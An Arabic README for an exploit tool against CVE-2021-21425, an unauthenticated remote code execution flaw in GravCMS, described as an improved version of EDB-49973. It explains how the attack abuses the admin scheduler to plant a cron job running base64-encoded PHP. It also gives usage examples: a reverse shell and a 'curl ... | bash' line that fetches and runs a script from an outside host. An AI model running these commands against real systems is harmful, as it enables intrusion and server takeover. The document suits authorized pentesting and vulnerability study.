CVE-2021-21425 - GravCMS Unauthenticated RCE

ثغرة تنفيذ أوامر عن بعد غير مصادق عليها لـ GravCMS <= 1.10.7 عبر كتابة YAML عشوائية إلى المجدول.

هذه نسخة محسّنة من EDB-49973. يتطلب الاستغلال الأصلي تحريرًا يدويًا للقيم المضمنة في النص. هذه النسخة تضيف وسائط سطر أوامر مناسبة وتشفير تلقائي لـ base64 للحمولات.

التحسينات عن الأصل:

• وسائط سطر أوامر للهدف و LHOST و LPORT
• تشفير تلقائي لـ base64 لحمولة الصدفة العكسية
• دعم أمر مخصص (-c)
• معالجة أخطاء وإخراج حالة مناسبين

الثغرة

يفشل إضافة Grav Admin في التحقق من المصادقة على بعض المسارات الإدارية، مما يسمح للمستخدمين غير المصادق عليهم بكتابة إعدادات YAML عشوائية. يستغل هذا الاستغلال إعدادات المجدول لإنشاء مهمة cron تنفذ كود PHP عشوائي.

الاستخدام

# صدفة عكسية
python3 exploit.py -t http://target -s <LHOST> <LPORT>

# أمر مخصص
python3 exploit.py -t http://target -c "id"

أمثلة

# الحصول على صدفة عكسية على الهدف
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444

# تنفيذ أمر
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"

المتطلبات

pip install requests

كيف يعمل

1. يجلب /admin لاستخراج رمز admin-nonce (لا حاجة للمصادقة بسبب الثغرة)
2. يرسل POST إلى /admin/config/scheduler مع إعداد مهمة cron خبيثة
3. ينفذ المجدول حمولة PHP عبر /usr/bin/php -r eval(base64_decode(...))
4. يكتب PHP الصدفة العكسية المفكوكة من base64 إلى /tmp/rev.sh وينفذها

تعمل مهمة cron كل دقيقة (* * * * *)، لذا تصل الصدفة خلال 60 ثانية.

الجدول الزمني

• 2021-03-29 - تم الكشف عنها بواسطة Mehmet Ince
• 2021-04-01 - تم إصلاحها في إضافة Grav Admin

المراجع

• إدخال NVD
• إشعار GitHub
• ExploitDB
• مدونة Pentest - Mehmet Ince

إخلاء مسؤولية

للاستخدام في الاختبارات الأمنية المصرح بها فقط. تأكد من الحصول على إذن كتابي قبل الاختبار على أي نظام.